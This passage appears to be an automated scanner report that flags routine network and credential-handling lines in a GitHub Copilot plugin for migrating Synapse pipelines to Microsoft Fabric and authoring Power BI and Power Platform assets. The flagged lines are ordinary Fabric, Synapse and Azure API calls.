    url = (             f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/notebooks"             f"?continuationToken={quote(cont, safe='')}"
  • Network accessline 302
    f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/notebooks"

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/pipeline-assessment.md

  • Network accessline 32
    > **Synapse Studio URL shortcut**: If the user provides a URL like `https://web.azuresynapse.net/en/home?workspace=%2Fsubscriptions%2F{subId}%2FresourceGroups%2F{rg}%2Fproviders%2FMicrosoft.Synapse%2Fworkspaces%2F{wsName}`, extract all thre
  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 58
    [Credential-related source omitted]
  • Network accessline 186
    items = []     while url:         r = requests.get(url, headers=headers, timeout=HTTP_TIMEOUT)
  • Network accessline 187
    while url:         r = requests.get(url, headers=headers, timeout=HTTP_TIMEOUT)         r.raise_for_status()
  • Network accessline 188
    r = requests.get(url, headers=headers, timeout=HTTP_TIMEOUT)
  • Network accessline 197
    """Fetch Synapse workspace global parameters via ARM."""     url = (         f"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}"
  • Network accessline 198
    url = (         f"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}"         f"/providers/Microsoft.Synapse/workspaces/{ws_name}?api-version=2021-06-01"
  • Network accessline 199
    f"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}"
  • Network accessline 200
    [Credential-related source omitted]
  • Network accessline 201
    [Credential-related source omitted]
  • Network accessline 202
    [Credential-related source omitted]
  • Network accessline 330
    ls_classifications     """     dp_base = f"https://{synapse_workspace_name}.dev.azuresynapse.net"
  • Network accessline 332
    dp_base = f"https://{synapse_workspace_name}.dev.azuresynapse.net"
  • Network accessline 369
    # The /pipelines list endpoint returns stubs without properties.activities.         # Fetch the full definition so walk_activities sees the real activity tree.         r = requests.get(
  • Network accessline 370
    # Fetch the full definition so walk_activities sees the real activity tree.         r = requests.get(             f"{dp_base}/pipelines/{pl_name}?api-version=2020-12-01",
  • Network accessline 371
    r = requests.get(
  • Network accessline 723
    [Credential-related source omitted]
  • Network accessline 724
    [Credential-related source omitted]

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/pipeline-gotchas.md

  • Network accessline 75
    **Resolution**: 1. Install the **on-premises data gateway** on the same machine or network as the SHIR    - Download: https://aka.ms/odg/download
  • Network accessline 76
    1. Install the **on-premises data gateway** on the same machine or network as the SHIR    - Download: https://aka.ms/odg/download    - Register under the same tenant as the Fabric workspace
  • Network accessline 77
    - Download: https://aka.ms/odg/download
  • Network accessline 114
    [Credential-related source omitted]
  • Network accessline 115
    [Credential-related source omitted]
  • Network accessline 116
    base = f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/datapipelines"
  • Network accessline 117
    items, url = [], base        while url:            r = requests.get(url, headers=headers)
  • Network accessline 118
    while url:            r = requests.get(url, headers=headers)            r.raise_for_status()
  • Network accessline 119
    r = requests.get(url, headers=headers)
  • Network accessline 162
    "authentication": {       "type": "MSI",       "resource": "https://vault.azure.net"
  • Network accessline 163
    "type": "MSI",       "resource": "https://vault.azure.net"     }
  • Network accessline 164
    "resource": "https://vault.azure.net"
  • Network accessline 241
    "type": "WebActivity",   "typeProperties": {     "url": "https://management.azure.com/subscriptions/.../factories/<adf>/pipelines/<pipeline>/createRun?api-version=2018-06-01",
  • Network accessline 242
    "typeProperties": {     "url": "https://management.azure.com/subscriptions/.../factories/<adf>/pipelines/<pipeline>/createRun?api-version=2018-06-01",     "method": "POST",
  • Network accessline 243
    "url": "https://management.azure.com/subscriptions/.../factories/<adf>/pipelines/<pipeline>/createRun?api-version=2018-06-01",
  • Network accessline 244
    "method": "POST",     "authentication": { "type": "MSI", "resource": "https://management.azure.com/" },     "body": { "runDate": "@pipeline().parameters.runDate" }
  • Network accessline 245
    "authentication": { "type": "MSI", "resource": "https://management.azure.com/" },
  • Network accessline 267
    "url": "https://<vault-name>.vault.azure.net/secrets/databricks-token?api-version=7.4",         "method": "GET",         "authentication": { "type": "MSI", "resource": "https://vault.azure.net" }
  • Network accessline 268
    "method": "GET",         "authentication": { "type": "MSI", "resource": "https://vault.azure.net" }       }
  • Network accessline 269
    "authentication": { "type": "MSI", "resource": "https://vault.azure.net" }

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/pipeline-orchestrator.md

  • Network accessline 35
    > **Synapse Studio URL shortcut**: If the user provides a URL like `https://web.azuresynapse.net/en/home?workspace=%2Fsubscriptions%2F{subId}%2FresourceGroups%2F{rg}%2Fproviders%2FMicrosoft.Synapse%2Fworkspaces%2F{wsName}`, extract all thre
  • Network accessline 97
    [Credential-related source omitted]
  • Network accessline 98
    [Credential-related source omitted]
  • Network accessline 99
    [Credential-related source omitted]
  • Network accessline 103
    SYNAPSE_BASE = f"https://{SYNAPSE_WS}.dev.azuresynapse.net"
  • Network accessline 104
    FABRIC_BASE  = "https://api.fabric.microsoft.com/v1"
  • Access to secretsline 111
    [Credential-related source omitted]
  • Access to secretsline 112
    [Credential-related source omitted]
  • Network accessline 115
    def synapse_get(path):     r = requests.get(f"{SYNAPSE_BASE}{path}",
  • Network accessline 116
    r = requests.get(f"{SYNAPSE_BASE}{path}",
  • Network accessline 128
    items, url = [], f"{SYNAPSE_BASE}{path}"     while url:         r = requests.get(url,
  • Network accessline 129
    [Credential-related source omitted]
  • Network accessline 130
    r = requests.get(url,
  • Network accessline 139
    def fabric_get(path):     r = requests.get(f"{FABRIC_BASE}{path}",
  • Network accessline 140
    r = requests.get(f"{FABRIC_BASE}{path}",
  • Network accessline 158
    [Credential-related source omitted]
  • Network accessline 159
    [Credential-related source omitted]
  • Network accessline 160
    [Credential-related source omitted]
  • Network accessline 169
    def fabric_post(path, body):     r = requests.post(f"{FABRIC_BASE}{path}",
  • Network accessline 170
    r = requests.post(f"{FABRIC_BASE}{path}",
  • Network accessline 189
    # Resolve relative URLs against the Fabric base.             if location.startswith("/"):                 location = f"https://api.fabric.microsoft.com{location}"
  • Network accessline 190
    if location.startswith("/"):                 location = f"https://api.fabric.microsoft.com{location}"             fetched = requests.get(location,
  • Network accessline 191
    [Credential-related source omitted]
  • Network accessline 192
    fetched = requests.get(location,
  • Network accessline 205
    r.headers.get("Location")             or r.headers.get("Operation-Location")             or (f"https://api.fabric.microsoft.com/v1/operations/{r.headers['x-ms-operation-id']}"
  • Network accessline 206
    or r.headers.get("Operation-Location")             or (f"https://api.fabric.microsoft.com/v1/operations/{r.headers['x-ms-operation-id']}"                 if "x-ms-operation-id" in r.headers else None)
  • Network accessline 207
    or (f"https://api.fabric.microsoft.com/v1/operations/{r.headers['x-ms-operation-id']}"
  • Network accessline 214
    # matching the 200/201 path above.         if location.startswith("/"):             location = f"https://api.fabric.microsoft.com{location}"
  • Network accessline 215
    if location.startswith("/"):             location = f"https://api.fabric.microsoft.com{location}"         max_polls = int(os.environ.get("FABRIC_LRO_MAX_POLLS", 150))   # default ~5 min at 2 s base
  • Network accessline 216
    location = f"https://api.fabric.microsoft.com{location}"
  • Access to secretsline 217
    [Credential-related source omitted]
  • Access to secretsline 218
    [Credential-related source omitted]
  • Network accessline 224
    time.sleep(float(initial_retry) if initial_retry else base_sleep)         for _ in range(max_polls):             poll = requests.get(location,
  • Network accessline 225
    [Credential-related source omitted]
  • Network accessline 226
    poll = requests.get(location,
  • Network accessline 238
    if resource_url:                     if resource_url.startswith("/"):                         resource_url = f"https://api.fabric.microsoft.com{resource_url}"
  • Network accessline 239
    if resource_url.startswith("/"):                         resource_url = f"https://api.fabric.microsoft.com{resource_url}"                     item = requests.get(resource_url,
  • Network accessline 240
    [Credential-related source omitted]
  • Network accessline 241
    item = requests.get(resource_url,
  • Network accessline 557
    })     pid = resp.get("id", "unknown")     url = f"https://app.fabric.microsoft.com/groups/{FABRIC_WS_ID}/datapipelines/{pid}"
  • Network accessline 558
    pid = resp.get("id", "unknown")     url = f"https://app.fabric.microsoft.com/groups/{FABRIC_WS_ID}/datapipelines/{pid}"     print(f"  [OK] Created: {name}  (id: {pid})")
  • Network accessline 559
    url = f"https://app.fabric.microsoft.com/groups/{FABRIC_WS_ID}/datapipelines/{pid}"
  • Network accessline 574
    | Value | Derived From | |---|---| | Synapse data-plane endpoint | `https://{workspaceName}.dev.azuresynapse.net` |
  • Network accessline 575
    |---|---| | Synapse data-plane endpoint | `https://{workspaceName}.dev.azuresynapse.net` | | Fabric workspace ID | `GET /v1/workspaces` → JMESPath filter by `displayName` |
  • Network accessline 576
    | Synapse data-plane endpoint | `https://{workspaceName}.dev.azuresynapse.net` |
  • Network accessline 640
    [Credential-related source omitted]
  • Network accessline 641
    [Credential-related source omitted]
  • Network accessline 642
    --resource https://dev.azuresynapse.net \
  • Network accessline 645
    [Credential-related source omitted]
  • Network accessline 646
    [Credential-related source omitted]
  • Network accessline 647
    --resource https://management.azure.com \
  • Network accessline 650
    [Credential-related source omitted]
  • Network accessline 651
    [Credential-related source omitted]
  • Network accessline 652
    --resource https://api.fabric.microsoft.com \
  • Network accessline 655
    SYNAPSE_WS="mysynapseworkspace" SYNAPSE_ENDPOINT="https://${SYNAPSE_WS}.dev.azuresynapse.net"
  • Network accessline 656
    SYNAPSE_ENDPOINT="https://${SYNAPSE_WS}.dev.azuresynapse.net"
  • Access to secretsline 667
    [Credential-related source omitted]
  • Access to secretsline 668
    [Credential-related source omitted]
  • Access to secretsline 677
    [Credential-related source omitted]
  • Access to secretsline 678
    [Credential-related source omitted]
  • Access to secretsline 687
    [Credential-related source omitted]
  • Access to secretsline 688
    [Credential-related source omitted]
  • Access to secretsline 697
    [Credential-related source omitted]
  • Access to secretsline 698
    [Credential-related source omitted]
  • Network accessline 710
    [Credential-related source omitted]
  • Access to secretsline 710
    [Credential-related source omitted]
  • Network accessline 711
    [Credential-related source omitted]
  • Access to secretsline 711
    [Credential-related source omitted]
  • Network accessline 712
    --url "https://management.azure.com/subscriptions/${SUB_ID}/resourceGroups/${RG}/providers/Microsoft.Synapse/workspaces/${SYNAPSE_WS}?api-version=2021-06-01" \
  • Network accessline 763
    [Credential-related source omitted]
  • Access to secretsline 763
    [Credential-related source omitted]
  • Network accessline 764
    [Credential-related source omitted]
  • Access to secretsline 764
    [Credential-related source omitted]
  • Network accessline 765
    --url "https://api.fabric.microsoft.com/v1/workspaces/${FABRIC_WS_ID}/notebooks" \
  • Network accessline 852
    response = requests.post(
  • Network accessline 853
    f"https://api.fabric.microsoft.com/v1/workspaces/{FABRIC_WS_ID}/items",
  • Network accessline 890
    [Credential-related source omitted]
  • Access to secretsline 890
    [Credential-related source omitted]
  • Network accessline 891
    [Credential-related source omitted]
  • Access to secretsline 891
    [Credential-related source omitted]
  • Network accessline 892
    --url "https://api.fabric.microsoft.com/v1/workspaces/${FABRIC_WS_ID}/items/${PIPELINE_ITEM_ID}/updateDefinition" \
  • Network accessline 914
    [Credential-related source omitted]
  • Network accessline 915
    SYNAPSE_ENDPOINT = "https://myworkspace.dev.azuresynapse.net"
  • Network accessline 919
    items = []     while url:         r = requests.get(url, headers=headers, timeout=60)
  • Network accessline 920
    while url:         r = requests.get(url, headers=headers, timeout=60)         r.raise_for_status()
  • Network accessline 921
    r = requests.get(url, headers=headers, timeout=60)
  • Network accessline 941
    # The list endpoint returns stubs — properties.activities is often omitted.     # Fetch each pipeline definition to get the real activity list.     r = requests.get(
  • Network accessline 942
    # Fetch each pipeline definition to get the real activity list.     r = requests.get(         f"{SYNAPSE_ENDPOINT}/pipelines/{name}?api-version=2020-12-01",
  • Network accessline 943
    r = requests.get(
  • Network accessline 993
    [Credential-related source omitted]
  • Network accessline 994
    [Credential-related source omitted]
  • Network accessline 995
    [Credential-related source omitted]
  • Network accessline 1003
    [Credential-related source omitted]
  • Network accessline 1004
    [Credential-related source omitted]
  • Network accessline 1005
    [Credential-related source omitted]

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/validation-testing.md

  • Network accessline 29
    [Credential-related source omitted]
  • Access to secretsline 29
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]
  • Network accessline 31
    --url "https://api.fabric.microsoft.com/v1/workspaces/${FABRIC_WS_ID}/items/${PIPELINE_ITEM_ID}/getDefinition"
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 56
    [Credential-related source omitted]
  • Network accessline 58
    # Start getDefinition     r = requests.post(
  • Network accessline 59
    r = requests.post(
  • Network accessline 60
    f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/items/{pipeline_item_id}/getDefinition",
  • Network accessline 84
    operation_id = r.headers.get("x-ms-operation-id")     if not op_url and operation_id:         op_url = f"https://api.fabric.microsoft.com/v1/operations/{operation_id}"
  • Network accessline 85
    if not op_url and operation_id:         op_url = f"https://api.fabric.microsoft.com/v1/operations/{operation_id}"     if not op_url:
  • Network accessline 86
    op_url = f"https://api.fabric.microsoft.com/v1/operations/{operation_id}"
  • Network accessline 98
    # Some Fabric endpoints return a relative Location/Operation-Location     # (e.g. "/v1/operations/..."). Resolve against the Fabric base before     # polling so requests.get() receives a valid absolute URL.
  • Network accessline 99
    # (e.g. "/v1/operations/..."). Resolve against the Fabric base before     # polling so requests.get() receives a valid absolute URL.     if op_url.startswith("/"):
  • Network accessline 100
    # polling so requests.get() receives a valid absolute URL.
  • Network accessline 102
    op_url = f"https://api.fabric.microsoft.com{op_url}"
  • Network accessline 108
    sleep_s = float(retry_after) if retry_after else base_poll_interval         time.sleep(sleep_s)         poll = requests.get(op_url, headers=headers, timeout=http_timeout)
  • Network accessline 109
    time.sleep(sleep_s)         poll = requests.get(op_url, headers=headers, timeout=http_timeout)         poll.raise_for_status()
  • Network accessline 110
    poll = requests.get(op_url, headers=headers, timeout=http_timeout)
  • Network accessline 117
    if result_url:                 if result_url.startswith("/"):                     result_url = f"https://api.fabric.microsoft.com{result_url}"
  • Network accessline 118
    if result_url.startswith("/"):                     result_url = f"https://api.fabric.microsoft.com{result_url}"                 # Fetch and validate the resourceLocation payload defensively:
  • Network accessline 119
    result_url = f"https://api.fabric.microsoft.com{result_url}"                 # Fetch and validate the resourceLocation payload defensively:                 # raise on 4xx/5xx, and guard r.json() on an empty 200 body so
  • Network accessline 121
    # raise on 4xx/5xx, and guard r.json() on an empty 200 body so                 # the success path can't fail with a confusing ValueError.                 result_resp = requests.get(result_url, headers=headers, timeout=http_timeout)
  • Network accessline 122
    # the success path can't fail with a confusing ValueError.                 result_resp = requests.get(result_url, headers=headers, timeout=http_timeout)                 result_resp.raise_for_status()
  • Network accessline 123
    result_resp = requests.get(result_url, headers=headers, timeout=http_timeout)
  • Possible obfuscationline 174
    return json.loads(base64.b64decode(payload).decode())
  • Access to secretsline 217
    [Credential-related source omitted]
  • Access to secretsline 218
    [Credential-related source omitted]
  • Network accessline 230
    r = requests.post(
  • Network accessline 231
    f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/datapipelines/{pipeline_item_id}/jobs/instances?jobType=Pipeline",
  • Network accessline 253
    while time.time() < deadline:         r = requests.get(
  • Network accessline 254
    r = requests.get(
  • Network accessline 255
    f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/datapipelines/{pipeline_item_id}/jobs/instances/{job_instance_id}",

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-bi-development/README.md

  • Network accessline 34
    This plugin is part of [Awesome Copilot](https://github.com/github/awesome-copilot), a community-driven collection of GitHub Copilot extensions.

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-bi-development/agents/power-bi-visualization-expert.agent.md

  • Network accessline 184
    type: "report",   id: reportId,   embedUrl: "https://app.powerbi.com/reportEmbed",
  • Network accessline 185
    id: reportId,   embedUrl: "https://app.powerbi.com/reportEmbed",   tokenType: models.TokenType.Embed,
  • Network accessline 186
    embedUrl: "https://app.powerbi.com/reportEmbed",

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-bi-development/plugin.json

  • Network accessline 1
    {   "$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json",
  • Network accessline 2
    "$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json",
  • Network accessline 7
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 8
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 9
    "repository": "https://github.com/github/awesome-copilot",

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-architect/README.md

  • Network accessline 1
    # Power Platform Architect Plugin ![banner](https://i.imgur.com/rIJLfiL.png)
  • Network accessline 2
    ![banner](https://i.imgur.com/rIJLfiL.png)
  • Network accessline 13
    [![link](https://i.imgur.com/UnImFhl.png)](https://youtu.be/tn4jEpZ6jiw)
  • Network accessline 26
    3. **Component Recommendation** — Selects only the Power Platform components that serve a real purpose in the solution and explains the role each one plays. It follows a built-in decision framework (e.g., external access → Power Pages, data
  • Network accessline 28
    5. **Architecture Diagram (Optional)** — On request, generates a Mermaid.js diagram visualizing the architecture, saves it to a `.md` file, and directs the user to [mermaid.ai/live/edit](https://mermaid.ai/live/edit) to render it.
  • Network accessline 32
    ![example](https://i.imgur.com/IH1JsPZ.jpeg)
  • Network accessline 41
    ## Example Output Architecture Diagram (rendered in [mermaid](https://mermaid.js.org/))
  • Network accessline 42
    ![example](https://i.imgur.com/eR1Og3W.png)
  • Network accessline 162
    ## Source Created by [Tim Hanewich](https://timh.ai), Senior AI Solution Engineer at Microsoft.
  • Network accessline 163
    Created by [Tim Hanewich](https://timh.ai), Senior AI Solution Engineer at Microsoft.

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-architect/plugin.json

  • Network accessline 1
    {   "$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json",
  • Network accessline 2
    "$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json",
  • Network accessline 16
    "name": "Tim Hanewich"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 17
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 18
    "repository": "https://github.com/github/awesome-copilot",

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-architect/skills/power-platform-architect/SKILL.md

  • Network accessline 33
    | AI extraction or prediction | **AI Builder** | OCR, sentiment analysis, prediction, document extraction, invoice/receipt/ID/business card processing, classification, entity extraction, key phrase extraction, language detection, text trans
  • Network accessline 34
    | Enterprise data | **Dataverse** | Tables, columns, relationships, rich text, JSON, file/image storage, RBAC, security roles, business units, row-level security, column-level security, team sharing, elastic tables, auditing, versioning, an
  • Network accessline 35
    | Integrations | **Connectors and Custom Connectors** | Use standard connectors when available; wrap a REST API as a Custom Connector when the target system is absent from https://learn.microsoft.com/en-us/connectors/connector-reference/con
  • Network accessline 61
    6. Write the architecture as a business process story that includes human users and audience labels such as "vendors", "property owners", "audit team", or named business teams. 7. If the user asks for a diagram, generate a simple Mermaid.js
  • Network accessline 63
    8. Tell the user the file was saved and instruct them to open https://mermaid.ai/live/edit, copy the file contents into the Code pane, and report any syntax issue for correction.
  • Network accessline 121
    - `high-level` - `high-volume` - `https://mermaid.ai/live/edit`
  • Network accessline 122
    - `high-volume` - `https://mermaid.ai/live/edit` - `industry-specific`
  • Network accessline 123
    - `https://mermaid.ai/live/edit`
  • Network accessline 159
    ### Optional diagram **Diagram file:** `<file.md>` | not requested **Mermaid editor:** https://mermaid.ai/live/edit
  • Network accessline 161
    **Mermaid editor:** https://mermaid.ai/live/edit
  • Network accessline 175
    - [Power Automate connector reference](https://learn.microsoft.com/en-us/connectors/connector-reference/connector-reference-powerautomate-connectors)
  • Network accessline 176
    - [Mermaid Live Editor](https://mermaid.ai/live/edit)

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-mcp-connector-development/README.md

  • Network accessline 29
    This plugin is part of [Awesome Copilot](https://github.com/github/awesome-copilot), a community-driven collection of GitHub Copilot extensions.

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-mcp-connector-development/plugin.json

  • Network accessline 1
    {   "$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json",
  • Network accessline 2
    "$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json",
  • Network accessline 7
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 8
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 9
    "repository": "https://github.com/github/awesome-copilot",

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/.claude-plugin/plugin.json

  • Network accessline 1
    {   "$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json",
  • Network accessline 2
    "$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json",
  • Network accessline 5
    "version": "0.3.12",   "license": "MIT",   "repository": "https://github.com/microsoft/skills-for-fabric",
  • Network accessline 6
    "license": "MIT",   "repository": "https://github.com/microsoft/skills-for-fabric",   "keywords": [
  • Network accessline 7
    "repository": "https://github.com/microsoft/skills-for-fabric",

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/.github/plugin/plugin.json

  • Network accessline 1
    {   "$schema": "https://json-schema.org/draft-07/schema",
  • Network accessline 2
    "$schema": "https://json-schema.org/draft-07/schema",
  • Network accessline 5
    "version": "0.3.12",   "license": "MIT",   "repository": "https://github.com/microsoft/skills-for-fabric",
  • Network accessline 6
    "license": "MIT",   "repository": "https://github.com/microsoft/skills-for-fabric",   "keywords": [
  • Network accessline 7
    "repository": "https://github.com/microsoft/skills-for-fabric",

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/common/COMMON-CLI.md

  • Network accessline 24
    > **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 25
    > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience.  Without `--resource`, `az rest` will
  • Network accessline 26
    > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 34
    > **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 35
    > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 77
    az rest \   --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 78
    --method get \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 79
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 80
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 83
    # curl to the Fabric API — add it via -H:
  • Network accessline 84
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Network accessline 85
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Network accessline 87
    "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 116
    **Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht
  • Network accessline 119
    WS_NAME="Marketing" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 120
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 121
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 122
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 139
    ITEM_TYPE="Lakehouse" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 140
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 141
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 142
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \
  • Network accessline 156
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 157
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 158
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 159
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 163
    * The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se
  • Network accessline 165
    * See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types.
  • Network accessline 203
    # Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 204
    FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 205
    FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com"
  • Network accessline 224
    | Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 225
    |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 226
    | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 227
    | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 228
    | `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) |
  • Network accessline 229
    | `https://analysis.windows.net/powerbi/api` | Power BI / XMLA |
  • Network accessline 238
    [Credential-related source omitted]
  • Network accessline 239
    [Credential-related source omitted]
  • Network accessline 240
    [Credential-related source omitted]
  • Network accessline 248
    [Credential-related source omitted]
  • Network accessline 286
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 287
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 288
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 295
    # Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 296
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 297
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 298
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses"
  • Network accessline 315
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 316
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 317
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 318
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 341
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 342
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 343
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 344
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 352
    # getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 353
    RESPONSE=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 354
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 355
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \
  • Network accessline 375
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 376
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 377
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 378
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \
  • Network accessline 386
    EOF az rest --method patch \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 387
    az rest --method patch    --resource "https://api.fabric.microsoft.com"
  • Network accessline 388
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 389
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \
  • Network accessline 395
    az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 396
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 397
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID"
  • Network accessline 404
    EOF ITEM_ID=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 405
    ITEM_ID=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 406
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 407
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 421
    fetch_all_pages() {   local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 422
    local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"   local ALL_ITEMS="[]"
  • Network accessline 423
    local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 442
